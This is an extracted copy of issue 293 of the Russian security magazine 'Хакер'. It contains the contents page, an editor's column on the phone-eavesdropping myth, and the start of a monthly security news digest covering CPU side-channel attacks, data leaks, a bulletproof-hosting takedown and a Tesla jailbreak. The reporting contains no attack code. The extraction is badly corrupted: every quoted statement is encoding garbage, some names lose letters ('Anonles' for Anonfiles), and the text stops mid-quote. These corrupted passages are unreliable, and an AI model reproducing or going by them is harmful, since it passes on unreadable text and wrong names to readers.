Вы находитесь на странице: 1из 37

№ 293

CONTENTS
Большая неприватность
Колонка главреда
MEGANews
Самые важные события в мире инфосека за август
MikroTik Nightmare
Пентестим сетевое оборудование MikroTik
MikroTik Daymare
Защищаем оборудование MikroTik от хакерских атак
Caster Remix
Используем виртуальный MikroTik для постэксплуатации Windows
Змеиная анатомия
Вскрываем и потрошим PyInstall
Снимаем крючки
Познаем анхукинг ntdll.dll
Топ взлома
Составляем рейтинг самых популярных хакерских атак
InterstellarC2
Разбираем последствия заражения дроппером PoshC2
Как провести свое первое security-исследование
Колонка Дениса Макрушина
HTB Agile
Ломаем PIN к веб-консоли Flask Werkzeug
HTB Mailroom
Эксплуатируем NoSQL-инъекцию через цепочку уязвимостей XSS и SSRF
HTB Busqueda
Эксплуатируем баг в приложении на Python, чтобы захватить веб-сервер
HTB Cerberus
Захватываем контроллер домена Windows через баг SAML SSO
Врата ада
Переписываем Hell’s Gate и обходим антивирус
Scan2ban
Защищаем периметр от сканеров и ботов
Save Me
Защищаем сети от спуфинг-атак
Титры
Кто делает этот журнал
HEADER

КОЛОНКА ГЛАВРЕДА

Всем известно, что каждый телефон неп-


рерывно слушает все, что говорят вокруг,
и использует эти данные для показа рек-
ламы. Постойте, что?! Кто это сказал и где
подтверждение? Где серьезные иссле- Андрей Письменный
Главный редактор
дования? Доказательств нет, но все же apismenny@gmail.com

это крайне популярное мнение. И неверо-


ятно вредное.

Для начала оговоримся: телефоны при включенном голосовом ассистенте


действительно непрерывно «слушают» в ожидании активирующей фразы.
Этот факт, видимо, и дал начало легенде о непрерывной прослушке.
При этом доказать, что слежки нет, тоже непросто. Да, можно ковырять
трафик телефона (и это делается), но желающий вообразить какие-нибудь
безумные схемы сокрытия вообразит их. А еще важнее то, что людей, счи-
тающих телефон маленьким предательским стенографом, зачастую и не
интересуют никакие технические подробности.
«Неоспоримое доказательство» прослушки выглядит так. Человек с кем-то
обсуждал, что хочет что-то купить. Скажем, плюмбус. А потом крутит ленту
соцсети и видит там рекламу как раз такого плюмбуса. При этом он точно
знает, что плюмбус в интернете не искал. Конечно, он решает, что телефон
записал и расшифровал разговор про плюмбусы, а расшифровку послал
на базу. Это простое и логичное объяснение.
Реальность же намного интереснее. Например, плюмбус мог потом поис-
кать собеседник и социальная сеть показала рекламу всем его друзьям.
Вдруг они тоже захотят? Или сам разговор про плюбмусы был вызван их
популярностью в этом сезоне, регионе, у людей определенного возраста
и предпочтений. В конце концов, наш герой мог и раньше видеть рекламу
плюмбусов, но обратил внимание на нее только после разговора. Или еще
веселее: желание обзавестись плюмбусом изначально и было спровоци-
ровано рекламой.

Тонкие настройки таргетинга позволяют нацелиться на самые разные


интересы и их пересечение

Казалось бы, немного паранойи не помешает. Ну считают люди, что их


телефон — это всевидящее око (точнее, всеслышащее ухо), подумаешь!
Может, и хорошо, что они наконец задумываются о таких вещах. Да и в конце
концов, вдруг и правда слушает? Но у таких рассуждений есть неприятные
побочные эффекты.
Перед лицом невидимой, но неумолимой угрозы люди полностью теряют
волю к сопротивлению и начинают направо и налево раздавать разрешения
на слежку. Подумаешь, какое-то приложение хочет доступ к адресной книге,
ведь телефон все время слушает! Подумаешь, бонусная карта магазина —
это аналог сессионных cookies, который позволяет вести полную историю
покупок. Зато скидку дают... Да и все равно телефон все слушает! И так
далее.
Получается, что уже нет смысла знать о реальных механизмах слежки.
К примеру, Gmail действительно собирает статистику из писем — это широко
известный факт, отраженный в пользовательском соглашении. А счетчики
Google Analytics и кнопки шейринга в соцсетях — это маленькие трекеры,
разбросанные по всему интернету, которые позволяют собирать точную кар-
тину перемещений пользователя в сети. Но все эти подробности слишком
сложны и меркнут в сравнении с мифической прослушкой.
Когда принимаются законы, например против шифрования переписки,
реагирует на это лишь небольшая прослойка общественности. Остальные же
только пожимают плечами. Вроде бы не так тяжело убедить человека в том,
что защита его переписки — это важно и что это право стоит отстаивать.
Но дело усложняется, когда он давно не верит, что его переписка в реальнос-
ти была защищена и никто не мог получить к ней доступ.
Когда у людей нет веры в приватность в принципе, то ее оказывается
сложно продать. Как она может быть конкурентным преимуществом, если,
что бы ни делал разработчик, он все равно под подозрением? Хуже того,
какой-то производитель телефонов может взять и решить, что раз прослушка
считается нормой, то можно ее врубить и никто не расстроится.
Именно поэтому наше дело — разбираться в деталях и стараться знать
обо всех частных случаях и исключениях. А самое главное — никогда
не поощрять образ мыслей, который обесценивает защиту личных данных
под видом нигилизма или особой осведомленности.
Мария «Mifrill» Нефёдова
nefedova@glc.ru

В этом месяце: вышла новая версия Kali Linux, утекли данные


пользователей «ЛитРес» и Duolingo, файлообменник
Anonles закрылся из-за постоянных злоупотреблений, уче-
ные создали сразу три side-channel-атаки на современные
процессоры, исследователи джейлбрейкнули Tesla и раз-
блокировали платные функции, а также другие интересные
события последнего месяца лета.

KALI LINUX ПОЛУЧИЛА


ДЕВЯТЬ НОВЫХ
ИНСТРУМЕНТОВ

Разработчики Offensive Security представили Kali Linux 2023.3, третью версию


дистрибутива в 2023 году. Новинка уже доступна для загрузки и содержит
девять новых инструментов, а также ряд улучшений, включая модернизиро-
ванную внутреннюю инфраструктуру, обновленные Kali Autopilot и Kali
NetHunter.
В этом выпуске появилось не так много новых функций, а большинство
изменений были внутренними, направленными на повышение общей надеж-
ности проекта и его оптимизацию.
Так, по словам разработчиков, в этом выпуске они в основном сосредото-
чились на инфраструктуре ОС, чтобы она соответствовала Debian 12, вышед-
шему летом текущего года.

« «Ñ ðåëèçîì Debian 12, êîòîðûé âûøåë ðàíåå ýòèì ëåòîì, ìû âîñïîëü-


çîâàëèñü âîçìîæíîñòüþ ïåðåðàáîòàòü, ïåðåïðîåêòèðîâàòü è ïåðåñ-
òðîèòü íàøó èíôðàñòðóêòóðó. Ýòî î÷åíü ìàñøòàáíàÿ ðàáîòà, è íå ñòî-
èò óäèâëÿòüñÿ òîìó, ÷òî îíà åùå íå çàâåðøåíà.
Èìåííî íà ýòîì ìû ñîñðåäîòî÷èëèñü â ýòîì ðåëèç öèêëå (à òàêæå,
ê ñîæàëåíèþ, â ñëåäóþùåì). Íàäååìñÿ, ÷òî áîëüøàÿ ÷àñòü ðàáîòû
áóäåò çàâåðøåíà ê êîíöó ãîäà (÷òîáû ìû ìîãëè âåðíóòüñÿ ê òîìó, ÷òî
ïîëó÷àåòñÿ ó íàñ ëó÷øå âñåãî!)», — ñîîáùàþò àâòîðû Kali.

Невзирая на эти заявления разработчиков, Kali Linux 2023.3 получила девять


»
новых инструментов:
• Calico — нативный облачный нетворкинг и сетевая безопасность;
• cri-tools — CLI и инструменты валидации для kubelet Container Runtime
Interface;
• Hubble — наблюдение за сетью, сервисами и безопасностью
для Kubernetes с использованием eBPF;
• ImHex — hex-редактор для реверс-инженеров, программистов и людей,
«которые ценят свои глаза при работе в три часа ночи»;
• kustomize — кастомизация конфигураций Kubernetes YAML;
• Rekono — платформа автоматизации, объединяющая различные хакер-
ские инструменты для пентестинга;
• rz-ghidra — глубокая интеграция декомпилятора Ghidra и дизассемблера
Sleigh для Rizin;
• unblob — извлечение файлов из контейнеров любых форматов;
• Villain — C2-фреймворк, который может работать с несколькими
реверс-шеллами и расширять их функциональность.

Кроме того, в начале 2023 года разработчики представили фреймворк


для автоматических атак Kali Autopilot. Теперь команда сообщает, что продол-
жает работу над ним, добавляя и изменяя функциональность на основе отзы-
вов пользователей:

« «Çà ïîñëåäíèå øåñòü ìåñÿöåâ ýòîò èíñòðóìåíò ïðîøåë áîëüøîé ïóòü,


è ìû íå ïëàíèðóåì ñíèæàòü òåìïû. Êàê âñåãäà, åãî ôîðìèðóåò ñîîá-
ùåñòâî; èäåè, âîçìîæíîñòè è íàïðàâëåíèÿ ðàçâèòèÿ ìîãóò áûòü ïðåä-
ñòàâëåíû è ñôîðìèðîâàíû âàìè. Åñëè âû ðàçðàáîòàëè ñêðèïòû
äëÿ àòàê íà óÿçâèìûå ìàøèíû, ìû áóäåì ðàäû ðàçìåñòèòü èõ â íàøåì
Kali Purple Hub».
»

Также отмечается, что Kali NetHunter получил дополнительные поддержи-


ваемые мобильные ядра, включая Nothing Phone (1) для Android 12 (Snow
Cone) и 13 (Tiramisu), а также Samsung Galaxy A7 для LineageOS 18.

НА 230% БОЛЬШЕ НЕЛЕГАЛЬНОГО РОССИЙСКОГО


СОФТА
По данным СМИ, объем нелегального российского ПО вырос более чем в два раза (на 230%)
по сравнению с прошлым годом, так как пираты переключились на российские продукты. Нап-
ример, на одном из торрент-трекеров количество скачиваний пиратской версии Astra Linux сос-
тавило 1514 раз, а Windows 11 за аналогичный период — менее 300.

В Роскомнадзоре подтверждают, что аудитория пиратских ресурсов в целом растет:


с начала 2023 года по линии нарушений авторских прав было удалено или заблокировано око-
ло 624 000 материалов, тогда как за аналогичный период 2022 года таких материалов удалено
или заблокировано 291 000.

СРАЗУ ТРИ АТАКИ


УГРОЖАЮТ
СОВРЕМЕННЫМ
ПРОЦЕССОРАМ

Август оказался богат на «процессорные» side-channel-атаки, которые пред-


ставляют угрозу почти для всех современных CPU.
Первой из них стала проблема Collide+Power (CVE-2023-20583),
о которой рассказали ученые, ранее участвовавшие в обнаружении нашумев-
ших проблем Spectre и Meltdown.
Новая side-channel-атака может привести к утечке данных, и ее сравнива-
ют с проблемой Meltdown, относя к уязвимостям типа Microarchitectural Data
Sampling (MDS). По сути, Collide+Power представляет собой универсальную
софтверную атаку, которая применима к любому приложению, любому типу
данных и работает против устройств на базе процессоров Intel, AMD и ARM.
Collide+Power основывается на анализе энергопотребления процессора
для выявления содержимого кеш-памяти процессора. Атака может, к при-
меру, помочь раскрыть ключи шифрования, если злоумышленник имеет пос-
тоянный доступ к оборудованию жертвы или к среде облачных вычислений,
которая предоставляет оборудование разным тенантам.
Исследователи объяснили, что Collide+Power сложно назвать фактической
уязвимостью. По сути, атака просто злоупотребляет тем, что некоторые ком-
поненты ЦП предназначены для обмена данными из разных защищенных
областей. Злоумышленник может использовать эти общие компоненты, чтобы
объединить свои данные с данными пользовательских приложений. Для этого
злоумышленник измеряет энергопотребление процессора, изменяя подкон-
трольные ему данные, и выявляет данные, связанные с пользовательскими
приложениями.
Вторая проблема, разработанная сотрудником компании Google, — про-
цессорная атака для свежей уязвимости Downfall (CVE-2022-40982),
которая представляет угрозу для нескольких семейств микропроцессоров
Intel. Эта проблема тоже позволяет похищать пароли, ключи шифрования
и личные данные (например, электронные письма, сообщения или банков-
скую информацию) пользователей.
Downfall представляет собой side-channel-атаку и использует баг типа
transient execution. Такие атаки опасны для всех процессоров Intel на мик-
роархитектурах от Skylake до Ice Lake. Эксплуатируя уязвимость, злоумыш-
ленник получает возможность извлекать конфиденциальную информацию,
защищенную с помощью Software Guard eXtensions (SGX), аппаратного шиф-
рования Intel, которое обычно отделяет код и данные в памяти от софта в сис-
теме.
Для осуществления атаки Downfall требуется, чтобы злоумышленник
находился в том же физическом ядре процессора, что и жертва, но это обес-
печивается современной моделью shared-вычислений. При этом локальная
программа, например вредоносное ПО, в теории тоже может использовать
уязвимость для кражи конфиденциальной информации.
Третьей спекулятивной проблемой этого месяца стала атака Inception
(CVE-2023-20569), названная в честь одноименного фильма Кристофера
Нолана и представляющая собой проблему типа transient execution.
Эта side-channel-атака, созданная группой специалистов из Швейцарской
высшей технической школы Цюриха, может использоваться против любых
процессоров AMD Zen (от Zen 1 до Zen 4), включая последние модели.
Inception также может привести к утечке данных вроде паролей и ключей
шифрования.
Для создания Inception эксперты объединили уже известную проблему
Phantom speculation (CVE-2022-23825) с новой атакой, которой дали наз-
вание Training in Transient Execution (TTE).

« «Êàê â îäíîèìåííîì ôèëüìå, „Íà÷àëî“ (Inception) çàêëàäûâàåò â ÖÏ


„èäåþ“, ïîêà òîò â íåêîòîðîì ñìûñëå „ñïèò“, âûíóæäàÿ åãî ñîâåðøàòü
íåïðàâèëüíûå äåéñòâèÿ, îñíîâàííûå íà ÿêîáû ñàìîñòîÿòåëüíî ïðè-
äóìàííîì îïûòå. Èñïîëüçóÿ ýòîò ïîäõîä, Inception çàõâàòûâàåò âðå-
ìåííûé ïîòîê óïðàâëåíèÿ èíñòðóêöèÿìè âîçâðàòà íà âñåõ ïðîöåññîðàõ
AMD Zen», — îáúÿñíèëè èññëåäîâàòåëè.

По сути, эта проблема (она получила идентификатор CVE-2023-20569) пред-


»
ставляет собой новый тип атак, который позволяет заставить ЦП поверить
в то, что инструкция XOR является инструкцией рекурсивного вызова.
Это приводит к переполнению буфера стека возврата целевым адресом, кон-
тролируемым злоумышленником, и позволяет сливать произвольные данные
из непривилегированных процессов, запущенных на любом процессоре AMD
Zen.

НИКАКИХ АТАК НА «ГОСУСЛУГИ»

Выступая на саммите «Россия — Африка», гендиректор компании «Ростелеком-Солар» Игорь


Ляпунов сообщил, что за последние полтора года не было ни одной кибератаки на «Госуслуги».
Напомним, что специалисты «Ростелекома» отвечают за безопасность портала «Госуслуги»
и за работу ЕСИА (Единой системы идентификации и аутентификации).

→ «В прошлом году, в первые месяцы начала СВО, мы наблюдали эффект, ког-


да на биржах в даркнете распродавались хакерские ресурсы для атак на тер-
риторию России. Конечно, „Госуслуги“ являются колоссальным магнитом
для хакеров. Это большой вызов. За эти 1,5 года ни одной успешной кибера-
таки и остановки наших государственных сервисов не было», — заявил Ляпунов.

УТЕКЛИ ДАННЫЕ
DUOLINGO
И «ЛИТРЕС»

Среди крупных утечек данных на российском рынке в августе можно было


выделить два инцидента: слив данных пользователей сервиса электронных
книг «ЛитРес» и публикацию информации о 2,6 миллиона пользователей
Duolingo.
В случае «ЛитРес» хакеры выложили в открытый доступ данные поль-
зователей сервиса. По информации аналитиков Data Leakage & Breach
Intelligence, ответственность за эту утечку лежит на тех же злоумышленниках,
которые раньше слили в сеть данные «СберЛогистики», образовательного
портала GeekBrains, службы доставки Delivery Club и многих других компаний.
Дамп, связанный с «ЛитРес», насчитывает 677 Мбайт и содер-
жит 3 083 408 строк, но хакеры утверждают, что в полном дампе боль-
ше 97 миллионов строк. В открытый доступ уже попали:
• имя, фамилия (не для всех);
• email-адреса (590 тысяч уникальных адресов);
• хешированные пароли (SHA-1 без соли).

Представитель «ЛитРес» подтвердил утечку данных клиентов, подчеркнув, что


платежная информация пользователей не пострадала. В компании сооб-
щили, что уже занимаются расследованием случившегося.
Слив информации о 2,6 миллиона пользователей Duolingo, произошед-
ший в конце месяца, выглядит иначе. Дело в том, что на хакерском форуме
была опубликована информация, собранная при помощи скрапинга. Дамп
включал общедоступные логины и имена пользователей, а также приватную
информацию, в том числе email-адреса и внутренние данные, связанные
с сервисом Duolingo.
Хотя настоящее имя и логин являются общедоступной информацией
и частью пользовательского профиля Duolingo, утечка email-адресов пред-
ставляет собой более серьезную проблему, так как позволяет использовать
общедоступные данные в атаках.
Интересно, что в начале года этот же набор данных продавали в даркнете
за 1500 долларов США, а теперь дамп опубликовали на новой версии хакер-
ского форума Breached, и хакеры оценили его всего в восемь кредитов (внут-
ренняя валюта сайта, примерно 2,13 доллара США).

Данные продают за 1500 долларов

Судя по всему, данные были собраны с помощью открытого API, информация


о котором циркулирует в сети как минимум с марта 2023 года. Причем
ИБ-специалисты давно предупреждали об этой проблеме и документировали
возможные способы ее эксплуатации.
Фактически этот API позволяет отправлять username и получать выходные
данные JSON, содержащие информацию из общедоступного профиля поль-
зователя. Также можно ввести адрес электронной почты и узнать, связан ли
он с действующей учетной записью Duolingo. Это позволило скраперам «про-
верить» миллионы email-адресов, которые фигурировали в других утечках
данных, и связать их с конкретными учетными записями.
По данным СМИ, злополучный API открыт до сих пор, даже после множес-
тва публичных предупреждений от экспертов и скрапинга данных.

ЗА ГОД ИИ СОЗДАЛ БОЛЬШЕ ИЗОБРАЖЕНИЙ, ЧЕМ


ФОТОГРАФЫ ЗА 150 ЛЕТ
Компания Everypixel Group сообщает, что в последний год количество созданного ИИ контента
в сети неуклонно растет и уже можно говорить о своеобразных рекордах. Так, за последние
пятнадцать месяцев популярные ИИ-решения (Midjourney, Stable Diffusion, DALL-E 2 и Adobe
Firey) сгенерировали по запросам пользователей более 15 миллиардов изображений.

Для сравнения исследователи подсчитали, что фотографам потребовалось почти 150 лет, про-
шедших с момента первой фотографии, сделанной в 1826 году, чтобы достичь отметки
в 15 миллиардов в 1975 году.

После запуска DALL-E 2 люди создают в среднем 34 миллиона изображений в день.

При этом около 80% изображений (12,5 миллиарда) были созданы с использованием
моделей, сервисов, платформ и приложений на основе Stable Diffusion, который имеет откры-
тый исходный код.

Продолжение статьи →
← Начало статьи

XIAOMI БЛОКИРУЕТ
УСТАНОВКУ
TELEGRAM В КИТАЕ

Обнаружилось, что теперь установка Telegram на устройства Xiaomi блокиру-


ется с помощью MIUI. В Китае Xiaomi помечает Telegram как опасное при-
ложение и блокирует из соображений безопасности.
Еще в 2022 году в MIUI добавили функциональность, благодаря которой
ОС получила возможность помечать и блокировать запуск потенциально вре-
доносных приложений на устройствах компании. Эта функция, официально
предназначенная для защиты от мошенничества и спам-звонков, практически
сразу подвергалась критике, так как пользователи заподозрили, что это заву-
алированная попытка Xiaomi отслеживать действия пользователей, а также
сотрудничать с китайскими властями, подвергая цензуре конкретные при-
ложения.
Эти подозрения подкреплялись тем, что MIUI начала блокировать при-
ложения, которые позволяли пользователям вносить глубокие изменения
в сетевые настройки устройств.
Если приложение считается вредоносным или опасным, MIUI пытается
удалить его с устройства и заблокировать установку. И недавно MIUI стала
помечать как опасное приложение Telegram и блокировать его установку
в Китае.

Согласно сообщениям пользователей, если MIUI обнаруживает мессенджер,


появляется предупреждение:

« «Ïðèëîæåíèå íå ïðîøëî ïðîâåðêó áåçîïàñíîñòè Xiaomi. Ýòî ïðèëîæå-


íèå ÿâëÿåòñÿ ìîøåííè÷åñêèì, è åãî èñïîëüçîâàíèå ìîæåò ïðèâåñòè
ê òàêèì ðèñêàì, êàê ìîøåííè÷åñêèå ñïèñàíèÿ èëè íåîáîñíîâàííûå
òðàòû. Â öåëÿõ áåçîïàñíîñòè ðåêîìåíäóåòñÿ àêòèâèðîâàòü ìåðû
çàùèòû, ÷òîáû îáåñïå÷èòü áåçîïàñíîñòü è çàùèòèòüñÿ îò îïàñíûõ
ïðèëîæåíèé».

Исторически китайские власти стремились ввести ограничения и прямые зап-


»
реты на работу многих крупных платформ, включая Twitter, WhatsApp и Google.
Также недавно Китай обратил свое внимание на приложения, которые
облегчают общение или обмен контентом, — к их числу относится и Telegram.

ФЕЙКОВ СТАЛО НА 34% БОЛЬШЕ


Специалисты «РТК-Солар» подсчитали, что в первом полугодии 2023 года количество фаль-
шивых приложений, выдающих себя за популярные сервисы, увеличилось на 34%. В среднем
такие подделки «живут» в магазинах приложений 62 дня.

Чаще других от таких действий злоумышленников страдают банковские и криптовалютные


приложения, а для доставки вредоносного кода на устройства используются разнообразные
игровые приложения.

ХОСТИНГ LOLEK
ЗАКРЫЛИ

Правоохранительные органы закрыли известный «пуленепробиваемый» хос-


тинг Lolek (lolekhosted[.]net), арестовали пять его администраторов и кон-
фисковали серверы, которые якобы использовались в атаках вымогателя
Netwalker.
Широко известный провайдер «пуленепробиваемого» хостинга работал
с 2009 года. Его упоминания часто можно встретить в статьях об анонимных
хостинговых платформах, и известно, что хостинг базировался в Великоб-
ритании, а его дата-центры размещались в странах Европы.
«Пуленепробиваемые» хостинг-провайдеры, как правило, закрывают глаза
на размещаемый клиентами контент и обещают сохранить их анонимность.
Подобные компании известны тем, что предоставляют злоумышленникам IP-
адреса, серверы и домены для распространения вредоносных программ,
формирования ботнетов и выполнения других задач, связанных с мошен-
ничеством и кибератаками.
Lolek рекламировался как «100%-но конфиденциальный хостинг» с пол-
ным отсутствием логов, то есть его создатели уверяли, что не фиксируют
на своих серверах и сетевом оборудовании никакую активность, которая мог-
ла бы использоваться для обвинения клиентов в преступлениях.
Как сообщили Европол и Министерство юстиции США, в Польше были
арестованы пять администраторов сервиса, а все серверы Lolek конфиско-
ваны.
Европол заявил, что Lolek был закрыт, поскольку киберпреступники
использовали его ресурсы для организации DDoS-атак, проведения
спам-кампаний, распространения инфостилеров, размещения управляющих
серверов и поддельных интернет-магазинов.
Министерство юстиции США, в свою очередь, сообщило, что в админис-
трировании Lolek обвиняют гражданина Польши по имени Артур Кароль Гра-
бовски (Artur Karol Grabowski). Хотя в настоящее время неясно, был ли Гра-
бовски одним из администраторов хостинга, арестованных в Польше,
Минюст утверждает, что он содействовал киберпреступности, позволяя кли-
ентам Lolek регистрироваться под вымышленными именами, часто менять IP-
адреса серверов, а также уведомлял клиентов о юридических запросах в их
отношении.
Кроме того, считается, что Грабовски якобы помогал уже прекратившей
свое существование вымогательской группировке Netwalker, которая арен-
довала у Lolek серверы, использовавшиеся более чем в 50 атаках (для взло-
ма сетей, хранения похищенных данных и хакерских инструментов).
В настоящее время Грабовски предъявлены обвинения в сговоре с целью
совершения компьютерного мошенничества, сговоре с целью совершения
мошенничества с использованием электронных средств связи, а также
в отмывании денег в международных масштабах. В случае признания винов-
ным по всем пунктам обвинения ему грозит до 45 лет лишения свободы.

БЬЁРН СТРАУСТРУП ДАЕТ СОВЕТЫ РАЗРАБОТЧИКАМ

Создатель языка C++, автор множества книг и профессор компьютерных наук в Колумбийском
университете Бьёрн Страуструп (Bjarne Stroustrup) дал интервью Honeypot.io, в котором, нап-
ример, рассказал, что стал программистом по ошибке, полагая, что записывается на курс
прикладной математики (на самом деле это был курс по информатике).
По просьбе интервьюеров Страуструп дал несколько советов нынешнему поколению прог-
раммистов.

→ «Трудно давать советы. Как минимум так же трудно, как и их принимать.


Не переусердствуйте со специализацией. Не будьте слишком уверены в том,
что вам известно будущее. Будьте гибкими и помните, что карьера и работа —
это долгосрочная перспектива. Слишком много молодых людей думают, что
могут что-то оптимизировать, а потом обнаруживают, что потратили пару лет
или больше на специализацию, которая, вероятно, была не совсем правильной.
И в процессе работы они выгорают, потому что не уделяли достаточно времени
дружбе и жизни вне компьютера.
Нельзя просто кодить. Нужно также работать с культурой и способами
выражения идей. То есть я никогда не жалел о времени, потраченном на исто-
рию и математику. Математика оттачивает ваш ум, история дает вам представ-
ление о ваших ограничениях и о том, что происходит в мире. И поэтому не будь-
те слишком уверены. Не спешите, старайтесь вести более сбалансированную
жизнь и будьте готовы использовать представившиеся возможности».

Ссылаясь на свой собственный опыт, Страуструп говорит, что необходимо обладать широким
набором навыков, чтобы мочь использовать различные возможности, когда они появляются:

→ «Я занимался классической информатикой, компиляторами, занимался нес-


колькими языками... Думаю, тогда я знал около двух десятков. Я занимался
архитектурой машин, операционными системами. И этот набор навыков оказал-
ся полезным».

ДЖЕЙЛБРЕЙК TESLA
РАЗБЛОКИРОВАЛ
ПЛАТНЫЕ ФУНКЦИИ

Исследователи из Берлинского технического университета разработали


метод джейлбрейка инфотейнмент-систем на базе процессоров AMD. Такие
системы используются во всех последних моделях автомобилей Tesla,
и исследователи получили возможность запускать на них любое ПО, а также
разблокировать платные функции автомобилей.
Созданная исследователями атака позволяет извлечь уникальный ключ
RSA, привязанный к железу (Tesla использует его для аутентификации авто-
мобиля в своей сервисной сети), а также активировать программно заб-
локированные функции, включая подогрев сидений и Acceleration Boost,
за которые владельцы Tesla обычно должны платить отдельно. Особо отме-
чается, что разблокировать таким способом функцию Full Self-Driving (FSD,
знаменитый «автопилот» Tesla) не получится.
Эксперты обнаружили, что человек, имеющий физический доступ к плате
Infotainment and Connectivity ECU (ICE) автомобиля, может использовать из-
вестную атаку против AMD Secure Processor (ASP), на котором строится блок
управления инфотейнмент-системами MCU-Z.
Взломать информационно-развлекательную систему удалось, опираясь
на упомянутое прошлое исследование, которое обнаруживало возможность
внедрения ошибок и извлечения секретов. Так как инфотейнмент-система
Tesla основана на уязвимом процессоре AMD Zen 1, использование ранее
обнаруженных багов помогло осуществить ее джейлбрейк.

« «Â íàñòîÿùåå âðåìÿ ðåàëèçîâàòü íàøó àòàêó ñìîãóò ëþäè, êîòîðûå


îáëàäàþò îïðåäåëåííûìè ïîçíàíèÿìè â îáëàñòè ýëåêòðîííîãî îáî-
ðóäîâàíèÿ, óìåþò îáðàùàòüñÿ ñ ïàÿëüíèêîì è ìîãóò ïðèîáðåñòè
äîïîëíèòåëüíîå îáîðóäîâàíèå ñòîèìîñòüþ ïðèìåðíî 100 äîëëàðîâ, —
ðàññêàçûâàþò ýêñïåðòû. — Ìû ðåêîìåíäóåì ïëàòó Teensy 4.0,
êîòîðóþ ëåãêî èñïîëüçîâàòü äëÿ àòàê voltage glitching ñ íàøåé îïåí-
ñîðñíîé ïðîøèâêîé. Òàêæå ïîòðåáóåòñÿ ïðîãðàììàòîð SPI-Flash
è ëîãè÷åñêèé àíàëèçàòîð, êîòîðûé ìîæåò ïîìî÷ü â îòëàäêå àòàêè».

Упомянутая техника voltage glitching, также известная как внедрение ошибок,


»
позволяет получить root-доступ и запустить произвольное ПО на MCU-Z
для разблокировки некоторых платных функций авто. Более того, исследова-
тели утверждают, что полученный таким способом доступ будет практически
необратимым.

« «Ïîëó÷åííûå íàìè root-ïðàâà ïîçâîëÿþò âíîñèòü ïðîèçâîëüíûå èçìå-


íåíèÿ â Linux, êîòîðûå âûäåðæàò ïåðåçàãðóçêè è îáíîâëåíèÿ», —
ãîâîðÿò àâòîðû àòàêè.
»
Кроме того, джейлбрейк позволяет извлечь защищенный TPM ключ аттеста-
ции, который Tesla использует для аутентификации автомобиля и проверки
целостности его аппаратной составляющей, и перенести его на другой авто-
мобиль. Исследователи объясняют, что это, например, может помочь исполь-
зовать автомобиль в неподдерживаемых странах или выполнить самос-
тоятельный ремонт. Однако это также может помочь злоумышленнику выдать
свое авто за чье-то другое.
Исследователи отметили, что атаку, скорее всего, можно преобразовать
в готовый «продукт», вроде мод-чипа, который будет использоваться
для джейлбрейка по принципу plug-and-play. Сами эксперты чем-то подобным
заниматься не планируют, так как с юридической и экономической точки зре-
ния это была бы «весьма сомнительная бизнес-модель».
Авторы джейлбрейка уведомили автопроизводителя о своих выводах,
и компания уже работает над устранением обнаруженных проблем.

« «Tesla ñîîáùèëà íàì, ÷òî íàø PoC äëÿ âêëþ÷åíèÿ îáîãðåâà çàäíèõ
ñèäåíèé îïèðàåòñÿ íà ñòàðóþ âåðñèþ ïðîøèâêè. Â áîëåå íîâûõ âåð-
ñèÿõ ïðîøèâêè îáíîâëåíèå ýòîãî ýëåìåíòà êîíôèãóðàöèè âîçìîæíî
òîëüêî ïðè íàëè÷èè äåéñòâèòåëüíîé ïîäïèñè Tesla (ïðîâåðåííîé/ïîä-
òâåðæäåííîé øëþçîì). Òàêèì îáðàçîì, õîòÿ íàøè àòàêè çàëîæèëè
âàæíóþ îñíîâó äëÿ ýêñïåðèìåíòîâ ñ ñèñòåìîé â öåëîì, äëÿ âêëþ÷åíèÿ
îáîãðåâà çàäíèõ ñèäåíèé èëè ëþáîé äðóãîé çàáëîêèðîâàííîé ôóíêöèè
ïîòðåáóåòñÿ åùå îäèí ïðîãðàììíûé èëè àïïàðàòíûé ýêñïëîèò è àòàêà
íà øëþç».

Тем не менее атака на извлечение ключа все еще работает даже с новейшей
»
прошивкой Tesla.

ДАННЫЕ УТЕКАЮТ В 40 РАЗ ЧАЩЕ


В Роскомнадзоре подсчитали, что за последние два года количество утечек персональных дан-
ных пользователей выросло почти в 40 раз. Если в 2021 году таких инцидентов было всего 4
(утекли 2,7 миллиона записей), то в 2022 году — свыше 140 (600 миллионов записей), а за
первые семь месяцев 2023 года уже произошло свыше 150 утечек.

В настоящее время в России насчитывается не менее 5,5 миллиона структур, имеющих дос-
туп к частной информации. Роскомнадзор разработал рекомендации для всех операторов пер-
сональных данных. В частности, в ведомстве предлагают минимизировать перечь персональ-
ных данных, используя только те, которые действительно необходимы для оказания услуги.
А также настаивают на «дроблении» личных сведений, то есть хранении каждых конкретных
данных о человеке (имя, номер телефона, покупка) в разных базах.

ANONFILES
ЗАКРЫЛСЯ

Популярный сервис для анонимного обмена файлами Anonles закрылся. Его


администраторы заявили, что больше не могут справляться с огромным
количеством злоупотреблений со стороны пользователей.
Дело в том, что Anonles был одним из наиболее популярных файлооб-
менников среди преступников, которые использовали его для обмена
образцами украденных данных, логинов и паролей, а также материалов,
защищенных авторским правом. Как оказалось, это не устраивало его адми-
нистраторов.
При этом не раз отмечалось (1, 2, 3), что сайт имел дело с сомнительными
рекламодателями, которые нередко перенаправляли людей на страницы
с вредоносным ПО и нежелательными расширениями для браузеров Google
Chrome и Firefox, а также в фальшивую техническую поддержку.
Например, при попытке скачать файл с Anonles пользователей сначала
перенаправляли на сайт, который загружал файл ISO с тем же именем. Такой
ISO мог содержать вредоносные программы, в том числе инфостилеры, тро-
яны удаленного доступа и рекламные кликеры.
Также в 2021 году исследователи предупреждали, что вредоносная рек-
лама на Anonles распространяет известный инфостилер RedLine, а кроме
того, на сайте были замечены кампании по распространению ботнета
Amadey, стилера Vidar и вымогателя STOP.

Однако теперь операторы Anonles закрыли сервис, заявив, что их прок-


си-провайдер недавно отключил их и они больше не могут справляться
с огромным количеством нарушений.
Ниже приводим заявление администрации Anonles полностью.

« «Ïîñëå äâóõ ëåò áåñêîíå÷íûõ ïîïûòîê çàïóñòèòü àíîíèìíûé ôàéëîîá-


ìåííûé ñàéò ìû óñòàëè îò îãðîìíîãî êîëè÷åñòâà çëîóïîòðåáëåíèé
è ãîëîâíîé áîëè, êîòîðóþ ýòî íàì ñîçäàâàëî.
Ýòî ìîæåò áûòü òðóäíî ïîíÿòü, íî ïîñëå äåñÿòêîâ ìèëëèîíîâ çàãðóçîê
è ìíîãèõ ïåòàáàéòîâ äàííûõ âñÿ ðàáîòà ïî áîðüáå ñî çëîóïîòðåáëå-
íèÿìè áûëà àâòîìàòèçèðîâàíà ïî âñåì äîñòóïíûì êàíàëàì, ÷òîáû
